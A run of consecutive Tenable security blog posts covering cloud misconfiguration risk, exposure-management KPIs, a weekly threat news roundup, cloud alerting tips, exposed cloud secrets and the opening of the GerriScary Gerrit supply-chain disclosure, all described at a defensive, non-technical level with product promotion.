• Changing default passwords, especially on OT hardware
• Patching vulnerabilities in assets exposed to the internet
• Identifying and prioritizing your most valuable assets for remediation
• Developing a remediation plan and continuing to test and improve it

Get more information

• Tenable Blog: Navigating a Heightened Cyber Threat Landscape: Military Conflict Increases Attack Risks
• Tenable Blog: AA24-241A : Joint Cybersecurity Advisory on Iran-based Cyber Actors Targeting US Organizations
• Tenable Blog: AA22-257A: Cybersecurity Agencies Issue Joint Advisory on Iranian Islamic Revolutionary Guard Corps-Affiliated Attacks
• Department of Homeland Security National Terrorism Advisory System Bulletin - June 22, 2025

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Don’t let hidden cloud risks become tomorrow’s headline breach. The time to dismantle the toxic cloud trilogy is now. Here’s how Tenable Cloud Security can help.

In today’s cloud environments, individual misconfigurations or vulnerabilities are dangerous — but it’s their combinations that can lead to catastrophic breaches. The Tenable Cloud Security Risk Report 2025 reveals that nearly 29% of organizations still have at least one toxic cloud trilogy. While this is a reduction from last year, it’s still alarming. These high-risk clusters occur when a single cloud workload is:

• Publicly exposed to the internet
• Critically vulnerable due to unpatched CVEs
• Over-permissioned, with identity and access management (IAM) roles that allow lateral movement or privilege escalation

This trifecta has the potential to open up a highly exploitable attack path in the cloud.

Breaking down the toxic cloud trilogy

Let’s walk through a real-world example:

1. An attacker scans public IP ranges and finds an Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instance running a web server (public exposure)
2. They detect an unpatched remote code execution (RCE) vulnerability in that server (critical vulnerability).
3. Upon exploitation, they gain access to an IAM role with iam:PassRole, ec2:RunInstances, or even *:* (excessive permission).
4. The result? Full environment compromise — which could enable actions including sensitive data exfiltration or infrastructure takeover.

This is not a rare edge case. Tenable’s research shows that toxic trilogies are still common, often born from the “get it working fast” mentality during development — and left unremediated in production.

Common challenges behind toxic workloads — and how Tenable Cloud Security can help1. Critical vulnerabilities in running cloud workloads

Many organizations scan infrastructure-as-code but neglect active cloud workloads, missing CVEs that exist in live environments. In some cases, teams delay mitigation to wait for all patches to be available or lack urgency because they don’t have context into the true risk of the vulnerability.

✅ Tenable Cloud Security advantage:

• Agentless scanning of cloud workloads in runtime.
• Integrated code-to-cloud visibility — from CI/CD pipelines to production environments.
• Exposure-aware prioritization of vulnerabilities that factors in public access and identity privileges.

2. Public network exposure

Misconfigured security groups, open ports or overexposed resources make workloads discoverable and attackable from the internet.

✅ Tenable Cloud Security advantage:

• Continuous monitoring of cloud network configurations.
• Automated detection of public access paths to high-value assets.
• Risk scoring that increases based on combined exposure and vulnerability context, including likelihood of exploitation.

3. Excessive permissions on identities

IAM roles are often over-permissioned during development and never scoped down. Overly broad policies are an open invitation to attackers.

✅ Tenable Cloud Security advantage:

• Integrated cloud infrastructure and entitlement management (CIEM) capabilities to map effective permissions across all identities.
• Least privilege policy recommendations generated from real-world usage patterns, and Just in Time (JIT) access for least-privilege granularity through time limits.
• Detection of trust policy misconfigurations that enable unintended role assumptions.

4. Fragmented tooling, siloed risk visibility

Security teams lack a unified view that correlates identity, network and workload risk across hybrid environments.

✅ Tenable One platform integration:

• Tenable Cloud Security feeds into the Tenable One Exposure Management Platform, delivering unified visibility and analytics.
• See the full attack path — not just individual issues — with automated toxic risk detection.
• Prioritize what matters most using cross-domain context (identity + vulnerability + exposure).

Dismantling the toxic cloud trilogy: A proactive CNAPP approach

To eliminate toxic workload risk, security teams need more than scanning — they need continuous, contextualized security across the full stack. Tenable’s cloud-native application protection platform (CNAPP) capabilities offer:

Vulnerability management that goes beyond CVSS

• Identify vulnerabilities not just by severity, but by exposure and exploitability.
• Scan both static code and live cloud assets for comprehensive coverage.

Attack path analysis and risk correlation

• Automatically identify toxic combinations across your cloud infrastructure.
• Visualize attack paths and sever the most critical links before attackers can use them.

IAM hygiene at machine speed

• Continuously audit all IAM roles, users and service identities.
• Detect unused credentials, over-permissioned roles and dangerous trust relationships.

Prioritization with context

• Tenable ranks toxic trilogies as top risks, not isolated misconfigurations.
• Prioritization is driven by real-world exploitation potential — not theoretical risk.

Toxic cloud trilogies can lead to breaches – context is key to mitigation

A critical CVE on an isolated virtual machine isn’t your biggest risk. But a medium-severity bug on a public-facing container with excessive IAM rights? That’s breach material.

Tenable Cloud Security gives you the visibility to find these toxic combinations fast — and the context to fix them before they’re exploited. Tenable Cloud Security, as part of Tenable One, gives you that kind of visibility across your hybrid cloud.

Learn more

• ➡️ Download the Tenable Cloud Security Risk Report 2025
• ➡️ Read Part 1 of this blog series: Secrets in the Open: Cloud Data Exposures That Put Your Business at Risk

Tenable One empowers security teams to go beyond surface-level risk tracking and drive measurable improvements across their security programs. With unified visibility and customizable dashboards, Tenable One makes it easy to monitor the KPIs that matter most, helping teams shift from reactive firefighting to proactive, strategic exposure management.

The importance of KPIs in exposure management

Effective exposure management isn't just about identifying risks — it's about continuously measuring and reducing real exposure. Key performance indicators (KPIs) provide security teams with critical visibility into program effectiveness, helping them prioritize actions, monitor progress and ensure alignment with broader business objectives.

In this blog, we’ll highlight the top KPIs Tenable One customers track to reduce risk, accelerate remediation and demonstrate impact to stakeholders.

Essential KPIs for effective exposure management1. SLA performance metrics

Tracking service level agreement (SLA) performance is crucial for understanding how consistently your organization meets its remediation targets. This provides insight into whether your security team is keeping pace with exposure management commitments or if risk is accumulating across specific asset groups.

• SLA Compliant Assets Over Time: This metric offers visibility into how well your organization is meeting its remediation goals. It highlights which areas are effectively keeping up with exposure resolution and where unresolved risks may be building up.
   

  Tenable One dashboard widget 

• Top Critical and High Detections by Number of Findings Exceeding SLA: These metrics highlight growing technical debt — findings that remain unresolved beyond their expected timelines, increasing your organization's risk exposure. Consistent tracking allows for early detection of bottlenecks, ownership gaps, or resource constraints before they lead to larger, more challenging risks. By tracking findings approaching SLA, teams gain a proactive view, enabling them to act on critical assets — either through remediation or mitigation – before SLA breaches occur.

  Tenable One dashboard widget 

Monitoring trends in these KPIs allows organizations to identify periods of declining compliance and pinpoint areas requiring immediate attention.

2. Risk posture and exposure trends 

A holistic understanding of your organization's risk posture and evolution over time is fundamental to strategic exposure management. 

• Cyber Exposure Score (CES) Over Time: This metric provides a high-level view of your organization’s total risk exposure. It aggregates risk across all assets, reflecting how the attack surface evolves and whether remediation efforts are effectively reducing overall risk. Monitoring CES trends helps your security team understand the direction of their risk posture — whether it's improving, plateauing, or worsening — and serves as a strategic signal for leadership.

  Tenable One dashboard widget 

• Assets Exposure Score by Exposure Category (VM, OT, Cloud, etc.): This metric allows you to compare risk posture across different technology stacks, prioritize remediation efforts and allocate resources to areas with the highest average exposure.

  Tenable One dashboard widget

• CES Exposure Score by Exposure Category and Asset Type: This metric helps identify whether specific asset types within a category disproportionately contribute to cumulative risk, facilitating precise action and enabling data-driven decisions on resource allocation.

  Tenable One dashboard widget

Tracking these metrics enables data-driven decisions on resource allocation. It allows for drill-downs into contributing assets and exposure categories, ensuring your efforts are always aligned with the most critical risks.

3. Remediation KPIs

Effective remediation tracking is critical to ensuring weaknesses are not merely detected but addressed promptly and consistently. This category of KPIs focuses on measuring the efficiency of vulnerability resolution, tracking how long issues remain open and identifying potential delays or regressions.

• Findings by State Over Time: This metric illustrates the progression of findings through "Active," "Fixed," and "Resurfaced" states over time. It offers visibility into remediation volume, closure rates and recurring issues. A steady increase in resurfaced findings can indicate incomplete fixes or recurring vulnerabilities due to configuration drift or asset churn.

  Tenable One Dashboard Widget

• Findings Age by Severity: This metric highlights which high-severity issues are aging without resolution, serving as a key risk indicator tied to SLA adherence.

  Tenable One dashboard widget 

• Average Remediation Days by Asset Type: This metric helps uncover which teams or environments take longer to remediate issues, pointing to inefficiencies or gaps in ownership.

  Tenable One dashboard widget

When tracked collectively, these metrics empower security teams to assess the speed and consistency of remediation; detect bottlenecks and high-risk delays across severity levels and asset owners; and focus remediation efforts where they are most impactful. Organizations can monitor and fix trends, investigate spikes in resurfaced findings, and benchmark asset groups based on average remediation time to drive process improvements.

Transform your exposure management with Tenable One

Tenable One provides security teams with unified, customizable risk dashboards and reports. These tools offer the actionable insights needed to track and optimize your exposure management outcomes, empowering your organization to effectively measure, manage and reduce exposure risk.

By effectively tracking these essential KPIs within Tenable One, organizations can:

• Reduce risk and prevent breaches

Make data-driven decisions to focus remediation efforts where they matter most, optimize resource allocation and proactively address critical risks before they escalate.

• Accelerate remediation

Identify remediation bottlenecks and ownership gaps to drive accountability, ensure timely resolution of high-risk issues and track progress to stay on target with SLA commitments.

• Secure budget and buy-in

Communicate program effectiveness and measurable improvements to stakeholders, demonstrating how security initiatives directly support business goals and reduce organizational risk.

Explore how Tenable One can empower your organization to quantify and reduce exposure risk.

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. This week, Tenable experts discuss best practices for communicating cyber risk. You can read the entire Exposure Management Academy series here.

Despite headline-grabbing incidents and keen interest from C-suites and boardrooms, many security leaders still struggle to gain executive buy-in or rally cross-departmental support. The challenge isn't the data itself. On the contrary, it’s often how you deliver the message. Many security teams are buried in mounds of information from an array of disconnected security solutions. This makes it tough to present a consolidated, understandable overview of cyber risk.

That brings up a couple of questions. First, what can you do to fix this communication challenge and improve how technical teams convey risk to non-technical decision-makers? Second, how can security teams give context to their IT counterparts to effectively prioritize remediation efforts? One way is to move to exposure management. 

Exposure management gives security leaders the processes and technologies they need to continuously assess the accessibility, exploitability and criticality of digital assets across all systems, applications, devices, resources and identities. As a result, security leaders can proactively answer questions about their organization’s exposure risk. 

A well-executed exposure management program can help you distill complex issues and vast stores of data into clear, digestible metrics. You’ll also be able to avoid overly technical language, which will help engage with leadership and board members. And you’ll avoid burning out your IT teams with endless tasks by giving them real-world guidance about what to fix first and why.

Speak in a language the board and C-suite understand

Security professionals understand technical jargon. But most others don’t. Board members focus on business disruption, liability and cost. C-level executives worry about the overall strategic direction of the business, along with any risks that might imperil the future of the organization. Other executives, especially those who run a line of business, are laser-focused on their respective areas. They appreciate security but likely don’t know the lingo and lack the context needed to understand cyber risk.

Exposure management helps translate technical complexity into clear, concise business language. This translation is vital for winning executive support and for shifting security from a reactive posture to a strategic mindset 

Jorge Orchilles, Senior Director of Readiness and Proactive Security at Verizon, summed it up well in his contribution to the Exposure Management Academy: “Instead of delivering long lists of vulnerabilities that mean little to non-technical leaders, we can present a clear picture in a few key points.”

Cut through the noise and focus on what matters

A primary stumbling block that stands in the way of clear communication in cybersecurity is information overload, with teams often buried in alerts and data, much of which is just noise.

As Robert Huber, Tenable’s Chief Security Officer and Head of Research, wrote recently, “Not all risks are created equal.” He says that, if you think of everything as a top priority, then nothing is. 

An exposure management program can help organizations focus on the issues that pose a true disruption to the business. That clarity, which distinguishes between meaningful signals and background noise, is invaluable for making better, more explainable decisions. Huber says that this approach has enabled his team to zero in on critical issues so they can focus on what really matters and drive the right outcomes.

Communicate to drive collaboration

Effective cyber risk management can be hindered when IT and security operate in separate spheres, speaking different languages, which can create friction and missed opportunities.

An exposure management platform can offer a common framework and a shared view of risk for both security and IT. Tenable’s CIO, Patricia Grant, sees securing the enterprise as a joint responsibility. 

“The security team sets the posture,” she says. “But IT owns the infrastructure. Exposure management gives us a common language to operate in.” 

Grant adds that, when you can put an issue in the context of the risk it poses, rather than just thinking about it as another patch, you’ll see much better engagement. The lesson here is that clear communication is more than a nicety. It can create action. Moreover, when technical teams and business stakeholders align, they agree on priorities and make progress.

Move from blind spots to insights

Successful exposure management extends beyond prioritizing known vulnerabilities. It provides a full picture of deficiencies across all your environments. 

“As security professionals, we’ve had to move away from thinking of cybersecurity as just ‘scan-patch-rescan,’” says Arnie Cabral, Senior Staff Security Engineer at Tenable, echoing Grant. “Exposure management has been the catalyst for that shift and gives us a much broader lens with the ability to narrow the scope.”

This fresh perspective can yield surprising benefits. 

“Our exposure management platform became our de facto inventory tool,” Cabral says. “There were times people would ask, ‘What’s this asset doing here?’ We didn’t have an easy answer. Now, we do. We’re able to transform the data into actual usable information with real insight.” 

That visibility, combined with clear communication about the risk implications of these findings, helps his team connect with wider stakeholders. “We’re doing more than just fixing exposures,” he says. “We’re helping the business as a whole understand its risk and take actions where necessary.”

Takeaways

By enabling a centralized perspective, exposure management can foster more straightforward communication throughout an organization with consistent metrics and easily understandable visuals. 

Of course, technical specialists can access the detailed data that’s essential for their work. But, at the same time, executives and board members will gain a clear understanding of the organization's overall security status. They’ll see the areas that need attention without needing to decipher complex technical details. 

All members of an organization — technical and non-technical — can compare performance against industry counterparts and monitor key performance indicators (KPIs) over time. This benchmarking helps provide invaluable context and addresses the common question that plagues us all: "How is the organization performing?" 

These valuable perspectives enable more targeted resource deployment and build cooperation across different business units by furnishing the metrics they care about.

Ultimately, exposure management helps organizations transcend the limitations of isolated data and inscrutable terminology. It creates a comprehensive awareness of the entire attack surface, which lets security leaders clearly define risk, demonstrate progress and helps everyone understand their role in an organization's cyber readiness.

Learn more

• Check out the Tenable exposure management resource center to discover the value of exposure management and explore resources to help you stand up a continuous threat exposure management program.

Check out highlights from Tenable’s “2025 Cloud Security Risk Report,” which delves into the critical risk from insecure cloud configurations. Plus, Google reveals a Russia-sponsored social engineering campaign that targeted prominent academics’ Gmail accounts. And get the latest on AI system security, just-in-time access, CIS Benchmarks and more!

Dive into six things that are top of mind for the week ending June 20.

1 - Tenable report: Oops, your cloud data and secrets might be lounging in public

Houston, we have a cloud data-security problem.

Tenable’s “2025 Cloud Security Risk Report,” published this week, found that 9% of publicly accessible cloud-storage resources hold sensitive data, almost all of which – 97% – is labeled as either restricted or confidential.

“This kind of exposure creates an ideal entry point for threat actors and poses a serious, immediate security risk,” reads the report, which provides in-depth coverage of cloud security issues including data and secrets exposure; identity management; cloud workload protection; and artificial intelligence (AI) defense.

The report, authored by the Tenable Cloud Research team, is based on workload telemetry analysis from public cloud and enterprise environments scanned with the Tenable Cloud Security cloud native application protection platform (CNAPP) between October 2024 and March 2025.

Other key findings include:

• 54% of the organizations using Amazon Web Services (AWS) Elastic Container Service (ECS) task definitions have at least one secret – meaning, a privileged credential – embedded in their configurations, which creates a direct attack path.
• 29% of organizations have at least one toxic cloud trilogy — meaning a cloud workload that is publicly exposed, critically vulnerable and highly privileged. This stat is down nine percentage points from the previous report, but it’s still too high.
   

(Tenable’s “2025 Cloud Security Risk Report,” June 2025)

Here are some solid tips and best practices from the report:

• Continuously monitor for public access and automate detection of misconfigured storage services.
• Safeguard secrets by using the secrets-management tools that cloud service providers (CSPs) provide.
• Detect toxic cloud trilogies by correlating identity, vulnerability and network configuration data.
• Boost cloud identity security by adopting just-in-time access capabilities, which put a time limit on access granted to identities.
• Inventory, classify and track your sensitive data in your cloud environment.

To get more details, check out:

• The blog “Secrets in the Open: Cloud Data Exposures That Put Your Business at Risk”
• The announcement “Tenable Research Finds Pervasive Cloud Misconfigurations Exposing Critical Data and Secrets”
• The full report “2025 Cloud Security Risk Report”
• The upcoming webinar “Why Your Cloud Data May Not Be Secure After All: Insights from Tenable Research”
• The blog “Harden Your Cloud Security Posture by Protecting Your Cloud Data and AI Resources”

2 - Google: Academics and Russia critics targeted in social engineering impersonation campaign

A threat actor sponsored by the Russian government recently impersonated U.S. Department of State staff and gained persistent access to the email mailboxes of prominent academics and Russia critics.

That’s according to the Google Threat Intelligence Group, which detailed the social engineering impersonation scheme in a blog post this week.

The threat actor targeted its victims between April and early June of this year by establishing rapport with them and luring them to set application specific passwords (ASPs).

An ASP is a ransonly-generated 16-digit passcode that allows a Google user to grant access to their Google account to a third-party app or device that doesn’t support “Sign in with Google” authentication nor two-step verification.
 

In this case, the threat actor emailed victims a PDF document inviting them to access a fraudulent State Department cloud environment. The instructions prompted victims to create an ASP.

“Once the target shares the ASP passcode, the attackers establish persistent access to the victim’s mailbox,” reads the blog post, which cites research from Citizen Lab about this same campaign. Google has “re-secured” the Gmail accounts compromised during this social engineering campaign.

In the blog, Google states that using ASPs isn’t recommended and that they’re “unnecessary in most cases.” If a user generates an ASP, Google sends a notification to their Gmail account, recovery email address and any devices signed into the Google account. Users can revoke ASPs on demand.

For more information about preventing social engineering attacks:

• “How to avoid and prevent social engineering attacks” (TechTarget)
• “Understanding Social Engineering: Tactics, Threats, and Prevention” (CTO Magazine)
• “Phishing attacks: defending your organisation” (U.K. National Cyber Security Centre)
• “What are social engineering attacks?” (TechTarget)
• “How AI is making phishing attacks more dangerous” (TechTarget)

3 - Report breaks down AI system “tech stack” to help cyber defenders

Looking to boost your strategies and practices for securing your AI systems? A new report aims to unpack the technology layers that make up an AI system, hoping that a clearer understanding of this “tech stack” will lead to improved AI security.

The Paladin Global Institute’s “The AI Tech Stack: A Primer for Tech and Cyber Policy” report is aimed at cybersecurity practitioners, IT professionals and policy makers, because it’s critical for these three groups to have a solid grasp of how AI systems are built and deployed.

“This framing will give policymakers and tech innovators the tools to take an informed approach to AI security,” Kemba Walden, President of Paladin Global Institute, said in a statement.

The report outlines five core, interdependent layers of the AI “tech stack”:

• Governance: This layer includes a scaffolding of security protocols, legal requirements, ethical principles and policies for secure AI development and deployment.
• Application: This layer consists of the user interface via which AI capabilities are offered to users, including AI chatbots, search engines and voice assistants.
• Infrastructure: This layer is made up of the computational foundation powering AI systems, such as data centers, networks and energy systems.
• Model: This is the “core computational component” where data is processed according to sophisticated AI algorithms in order to pinpoint patterns, generate decisions and more.
• Data: Here resides the foundational raw information that fuels AI models.

“Robust security across this stack is a technical necessity and a strategic imperative,” the report reads.

As shown in the table below, the report explains the security risks in each layer of the AI “tech stack.”

(Source: Paladin Global Institute’s “The AI Tech Stack: A Primer for Tech and Cyber Policy” report, June 2025)

The report also offers recommendations for preventing and mitigating the key cyber threats faced by AI systems. It argues that the right security strategy is to take a systemic approach, as opposed to isolated controls. The report also calls for embedding security starting in the early stages of AI system development.

Recommendations include:

• Securing the data layer with encryption and access controls
• Housing the model layer in environments protected with robust access controls and secure APIs
• Applying foundational cybersecurity practices to the infrastructure and application layers, as well as AI-specific protections
• Developing dynamic, interoperable standards in the governance layer, in order to boost trust in AI systems

For more information about AI security, check out these Tenable resources:

• “Know Your Exposure: Is Your Cloud Data Secure in the Age of AI?” (on-demand webinar)
• “Who's Afraid of AI Risk in Cloud Environments?” (blog)
• “Tenable Cloud AI Risk Report 2025” (research report)
• “2025 Cloud AI Risk Report: Helping You Build More Secure AI Models in the Cloud” (on-demand webinar)
• “How AI Can Boost Your Cybersecurity Program” (blog)

4 - Tenable webinar poll: Are you using JIT access and automating identity protection?

During our recent webinar “Tenable Cloud Security Customer Update, June 2025,” we polled attendees about their use of just-in-time (JIT) access and about how automated their detection of overprivileged identities is. Check out what they said.

(19 webinar attendees polled by Tenable, June 2025)

(19 webinar attendees polled by Tenable, June 2025)

Watch this on-demand webinar to learn about how JIT access can slash your exposures from compromised identities.

5 - CISA warns: Ransomware gangs exploiting SimpleHelp RMM vuln

Attackers are launching ransomware attacks by exploiting vulnerabilities in SimpleHelp’s eponymous remote monitoring and management product.

That’s the warning from the U.S. Cybersecurity and Infrastructure Security Agency (CISA), which added that victims include customers of a utility billing software provider.

“This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025,” reads CISA’s cybersecurity advisory.
 

 

SimpleHelp’s versions 5.5.7 and earlier contain several vulnerabilities, including the path traversal vulnerability CVE-2024-57727, which is likely the one the ransomware attackers are exploiting, according to CISA.

Recommended mitigations include:

• Vulnerable third-party vendors:
  • Immediately upgrade from SimpleHelp versions 5.5.7 or earlier to the latest version of the product.
  • Direct your downstream customers to secure their endpoints and conduct threat hunting on their network.
• Vulnerable downstream customers and end users:
  • Determine if you’re running an unpatched SimpleHelp version directly or embedded in third-party software.
  • Immediately upgrade to the latest version of the product.
• Downstream customers and end users with systems encrypted via ransomware:
  • Take the compromised system offline.
  • Reinstall the operating system using a bootable USB drive or DVD
  • Wipe the system and restore data exclusively from a clean backup.

CISA also offers proactive mitigation recommendations, such as:

• Keep an update inventory of all your software and hardware assets.
• Back up your system on a daily basis to a separate offline device.
• If possible, don’t expose remote access services to the web.

To get more details, read:

• The CISA advisory “Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider”
• The CISA alert “CISA Releases Cybersecurity Advisory on SimpleHelp RMM Vulnerability”

6 - CIS updates Benchmarks for AWS, GCP, Microsoft products

If your organization uses the CIS Benchmarks to tighten up software configurations, this one's for you.

The Center for Internet Security (CIS) has updated 12 of its CIS Benchmarks secure configuration guidelines, including those for Amazon Elastick Kubernetes Service, Microsoft 365 and Google Cloud Platform.

Specifically, these CIS Benchmarks were updated:

• CIS Amazon Elastic Kubernetes Service (EKS) Benchmark v1.7.0
• CIS Cisco IOS XE 17.x Benchmark v2.2.0
• CIS Google Cloud Platform Foundation Benchmark v4.0.0
• CIS Microsoft 365 Foundations Benchmark v5.0.0
• CIS Microsoft SQL Server 2019 Benchmark v1.5.0 — Final Update
• CIS Microsoft SQL Server 2022 Benchmark v1.2.0
• CIS Microsoft Windows 10 Enterprise Benchmark v4.0.0
• CIS Microsoft Windows 11 Stand-alone Benchmark v4.0.0
• CIS Microsoft Windows Server 2022 Benchmark v4.0.0
• CIS Oracle Cloud Infrastructure Container Engine for Kubernetes (OKE) Benchmark v1.7.0
• CIS SUSE Linux Enterprise 12 Benchmark v3.2.1
• CIS VMware ESXi 7.0 Benchmark v1.5.0
   

In addition, CIS released these three brand new Benchmarks:

• CIS Apple MacOS 14.0 Sonoma Intune Benchmark v1.0.0
• CIS Apple MacOS 15.0 Sequoia Intune Benchmark v1.0.0
• CIS Ubuntu Linux 22.04 LTS STIG Benchmark v1.0.0

You can use the CIS Benchmarks’ configuration recommendations to harden products against attacks. There are more than 100 Benchmarks for 25-plus vendor product families. Product categories covered by the CIS Benchmarks include cloud platforms; databases; desktop and server software; mobile devices; operating systems; and more.

To get more details, read the CIS blog “CIS Benchmarks June 2025 Update.” For more information about the CIS Benchmarks list, check out its home page and FAQ, as well as:

• “Getting to Know the CIS Benchmarks” (CIS)
• “Security Via Consensus: Developing the CIS Benchmarks” (Dark Reading)
• “How to Unlock the Security Benefits of the CIS Benchmarks” (Tenable)
• “CIS Benchmarks Communities: Where configurations meet consensus” (Help Net Security)
• “CIS Benchmarks: DevOps Guide to Hardening the Cloud” (DevOps)
   

In this sixth installment of Tenable’s “Stronger Cloud Security in Five” blog series, we offer three recommendations that you can quickly roll out to help you expedite, prioritize and fine-tune how you detect and respond to cloud security issues.

The dynamic, distributed and fast-changing nature of cloud environments makes it imperative for organizations to have a streamlined and swift process for detecting and responding to cloud security issues.

Failure to promptly and effectively respond to cloud security findings can quickly lead to major breaches that threaten your organization’s sensitive data, business operations, regulatory compliance, and more.

As the “SANS 2024 Detection and Response Survey” shows, cloud detection and response is a priority for organizations. The report, based on a survey of almost 400 cybersecurity professionals – including incident response handlers, security analysts, security managers and security directors – found that:

• 53% of respondents planned to adopt more advanced cloud-native security tools.
• 52% were looking to integrate artificial intelligence and machine learning for enhanced threat detection and response.
• 71% planned to boost training for security teams on cloud-specific threats.

In this blog, we offer you three ways to accelerate your response in the cloud. Our recommendations are meant to get you started with a “quick win” that only takes minutes and that can serve as the foundation for implementing best practices with a broader scope.

Read on to get the details on these three tips:

• Sketch out owners for different categories of cloud security findings.
• Think about your most sensitive cloud resources and the types of security findings that – if they affected these resources – would merit a response.
• Set up notifications alerting the appropriate teams about these security findings via messaging tools or ticketing solutions. 

Sketch out the owners assigned to act on the different types of cloud security findings

A key for swiftly responding to cloud security issues is knowing who to go to — for particular assets — when in the heat of the moment. 

For a quick win, think about the people who make up your security team and the roles they play in areas such as identity and access management (IAM); DevSecOps; governance, risk and compliance; and vulnerability management; and sketch these key owners out.

If you need to jog your memory, think through different ways your organization might best assign ownership, including:

• By specific cloud accounts or groups of accounts
• By specific types and categories of findings, such as IAM-related issues
• By assigning owners to clusters of resources that belong to a specific project

By documenting the teams that own specific categories of cloud security findings, you pave the way for decisive and quick responses to cloud security issues. 

Handpick a couple of sensitive resources and their critical issues

Having sketched out some of the ownership of security findings, you want to think about one or two of your most sensitive resources and identify which issues impacting them would warrant firing off an alert. The idea here is to set up one or two alerts for issues whose high severity would be obvious, such as suspicious changes to the permissions of an S3 bucket that holds data for your company's payment processing infrastructure. By thinking through this, you will be prioritizing the one or two issues that pose the greatest risk to your cloud environment’s “crown jewels.”

Once you have your rough list of sensitive resources, some critical issues you might be interested in would be:

• Changes being made to sensitive security groups
• Changes to the configuration of critical storage buckets
• Changes to access permissions from internal or external networks

By taking time to think through what your most critical cloud resources are, you will be on a path to proactively applying stronger safeguards and controls to them, thereby reducing the risk they’ll be breached. 

Set up notifications via messaging tools or ticketing solutions

Once you’ve sketched out the key responsibilities across your organization, as well as the critical resources and the critical issues impacting them, the final quick action you can take is to start setting up a few alerts around these connections. 

You don’t need to set up every possible critical alert right now, but starting with one or two of the most critical alerts will give you good momentum to embark on a more comprehensive project later on. If possible, consider integrating your alerting system with a corporate messaging tool, like Slack or Microsoft Teams. This will offer you an effective way to make these notifications timely and actionable. If you have a bit more time, it’s very valuable to integrate this type of notification into your ticketing system or security information and event management (SIEM) system. 

How Tenable can help

There are different ways in which our Tenable Cloud Security cloud native application protection platform (CNAPP) can help you streamline and automate the three recommendations we’ve outlined in this blog for accelerating your response to cloud security findings.

First, Tenable Cloud Security allows you to assign custom properties and labels that can be applied to resources to add context for risk assessment. These have many uses, and many Tenable customers leverage this capability to tag different resources with their owners.

Tenable Cloud Security offers policy templates that provide a flexible way of defining exactly which resources you want to monitor, how, and for what.

And — of course — Tenable Cloud Security can tie all this together so you can quickly send notifications to resource owners about detected issues that are within their scope of responsibilities. Whichever way your team and your stakeholders work, Tenable Cloud Security can integrate your alerts there with the ability to send alerts and reports to recipients via Slack, Teams, email, Jira, ServiceNow, Datadog, Splunk, QRadar, Sumo Logic and Telegram, as well as to many others via webhooks. 

Find out how you can take action to speed up and fine-tune your cloud detection and response, as well as your overall multi-cloud security in just five minutes.

Learn more:

• "Stronger Cloud Security in Five: The Importance of Cloud Configuration Security"
• "Stronger Cloud Security in Five: How To Protect Your Cloud Workloads"
• "Stronger Cloud Security in Five: Securing Your Cloud Identities"
• “Stronger Cloud Security in Five: How DSPM Helps You Discover, Classify and Secure All Your Data Assets”
• “Stronger Cloud Security in Five: 3 Quick Ways to Improve Kubernetes Security in GCP”

Sensitive data and secrets are leaking. How cloud security leaders can shut them down.

Despite the billions of dollars organizations are investing in cybersecurity, one of the most preventable threats persists: sensitive data and credentials exposed in publicly accessible cloud services. According to the Tenable Cloud Security Risk Report 2025, 9% of public cloud storage resources contain sensitive data — including personally identifiable information (PII), intellectual property (IP), Payment Card Industry (PCI) details, and protected health information (PHI).

Even more concerning, the report shows that over half of organizations using Amazon Web Services (AWS) Elastic Container Service (ECS) task definitions and Google Cloud Platform (GCP) Cloud Run have, knowingly or not, at least one secret embedded in these services.

These exposures are concerning, as they are the kind of exploitable oversights attackers are already scanning for — and weaponizing.

Why this matters to security leaders

Exposed secrets — like API keys and encryption tokens — can open the door to attackers, enabling lateral movement, data exfiltration or full environment takeover.

This isn’t just a misconfiguration issue. It’s a governance gap, made worse by legacy security tooling and, in some cases, the mistaken perception that native cloud services provide sufficient protection.

What you should be doing now

Security leaders must shift from detection to prevention and improve their sensitive data protection by enforcing the following:

• Automated data discovery and classification: Know what data lives in your environment and continuously assess its sensitivity. This should be an ongoing, telemetry-driven effort — not a quarterly scan.
• Eliminate public access by default: Enforce least privilege for both data and network access. Public storage should be the rare exception.
• Employ enterprise-grade secrets management: Remove hardcoded secrets and implement cloud-native tools like AWS Secrets Manager and Microsoft Azure Key Vault.
• Cloud Security Posture Management (CSPM): Use identity-intelligent CSPM to unify visibility across your cloud footprint and detect misconfigurations, secrets, and excessive permissions in real time.

Key takeaway: Exposed secrets and sensitive data aren’t obscure edge cases. They’re systemic risks hiding in plain sight — and must be eliminated before attackers exploit them.

Learn more

• Download the Tenable Cloud Security Risk Report 2025
• Join our upcoming research webinar Why Your Cloud Data Might Not Be Secure After All: Insights From Tenable Cloud Research

Tenable Cloud Research discovered a supply chain compromise vulnerability in Google's Gerrit code-collaboration platform which we dubbed GerriScary. GerriScary allowed unauthorized code submission to at least 18 Google projects including ChromiumOS (CVE-2025-1568), Chromium, Dart and Bazel, which are now remediated. Third-party organizations that use Gerrit may also be at risk from GerriScary.

TL;DR

• Tenable Cloud Research discovered GerriScary, a way to infiltrate Google’s software supply chain by exploiting misconfigured permissions in Gerrit, Google’s open-source code-review system used across many major Google projects.
• At least 18 Google projects were found to be exposed, proving that open collaboration without strong safeguards is a serious security concern - even for tech giants. The affected Google projects include, among others, ChromiumOS (CVE-2025-1568), third-party Chromium packages, Dart and Bazel.
• Gerrit, developed by Google, is used both internally at the company and by the wider open-source community. While affected Google projects have been fixed, other projects may still remain vulnerable to the attack.
• Organizations that use Gerrit should check their projects’ permissions to confirm they are not exposed.

The vulnerability

ChromiumOS code injection proof-of-concept (POC)

Gerrit is an open-source, web-based code collaboration and review system developed by Google. It allows developers to propose, discuss and approve code changes before they are merged into large-scale software projects.

GerriScary, discovered by Tenable Cloud Research, is a supply chain compromise vulnerability in Gerrit’s projects that allowed any registered user to push code changes to many of Google’s projects. Registration to Gerrit is open to anyone.

By exploiting misconfigurations in permissions and the voting system’s label handling, attackers could have executed malicious code without user interaction, enabling supply chain attacks.

Moreover, attackers could have exploited a race condition with bot code-submission timings to push a change, leading to a 0-click malicious code push to the vulnerable projects.

Affected projects that haven’t mitigated this vulnerability are susceptible to a supply-chain attack due to excessive default permissions and logic flaws in the code-review process. For projects with vulnerable configurations in place, attackers can inject malicious code into trusted build pipelines.

